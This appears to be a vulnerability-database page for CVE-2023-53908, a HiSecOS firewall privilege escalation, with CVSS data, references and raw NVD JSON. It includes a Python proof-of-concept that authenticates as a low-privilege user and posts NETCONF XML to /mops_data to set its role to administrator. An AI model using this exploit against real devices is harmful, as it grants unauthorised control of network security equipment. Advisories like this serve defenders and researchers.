Security Vulnerability Report
中文
CVE-2023-53908 CVSS 8.8 HIGH

CVE-2023-53908

Published: 2025-12-17 23:15:49
Last Modified: 2026-04-15 00:35:42

Description

HiSecOS 04.0.01 contains a privilege escalation vulnerability that allows authenticated users to modify their access role through XML-based NETCONF configuration. Attackers can send crafted XML payloads to the /mops_data endpoint with a specific role value to elevate their user privileges to administrative level.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

HiSecOS < 04.0.01
HiSecOS 04.0.01 (affected)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import xml.etree.ElementTree as ET # CVE-2023-53908 PoC - HiSecOS Privilege Escalation # Target: HiSecOS 04.0.01 # Vulnerability: Authenticated users can modify their access role via XML-based NETCONF configuration TARGET_URL = "http://<target-ip>/mops_data" USERNAME = "low_privilege_user" PASSWORD = "user_password" def create_privilege_escalation_payload(): """ Construct XML payload for privilege escalation The attacker modifies their own user role to administrator level """ payload = '''<?xml version="1.0" encoding="UTF-8"?> <netconf-config> <user> <username>{}</username> <role>administrator</role> </user> </netconf-config>'''.format(USERNAME) return payload def exploit(): """ Execute privilege escalation attack 1. Authenticate with low-privilege credentials 2. Send crafted XML payload to /mops_data endpoint 3. Verify role escalation to administrator """ session = requests.Session() # Step 1: Authenticate auth_data = { 'username': USERNAME, 'password': PASSWORD } auth_response = session.post(f"{TARGET_URL}/login", data=auth_data) if auth_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Send privilege escalation payload xml_payload = create_privilege_escalation_payload() headers = { 'Content-Type': 'application/xml', 'NETCONF-Operation': 'edit-config' } exploit_response = session.post(TARGET_URL, data=xml_payload, headers=headers) if exploit_response.status_code == 200: print("[+] Privilege escalation successful - User role changed to administrator") print("[+] Attacker now has full administrative access to the device") return True else: print("[-] Privilege escalation failed") return False if __name__ == "__main__": print("CVE-2023-53908 - HiSecOS Privilege Escalation PoC") print("=" * 50) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53908", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:15:49.040", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "HiSecOS 04.0.01 contains a privilege escalation vulnerability that allows authenticated users to modify their access role through XML-based NETCONF configuration. Attackers can send crafted XML payloads to the /mops_data endpoint with a specific role value to elevate their user privileges to administrative level."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://www.belden.com/products/industrial-networking-cybersecurity/software-solutions/device-software/hisecos-firewall-software", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51537", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/hisecos-privilege-escalation-via-user-role-modification", "source": "[email protected]"}]}}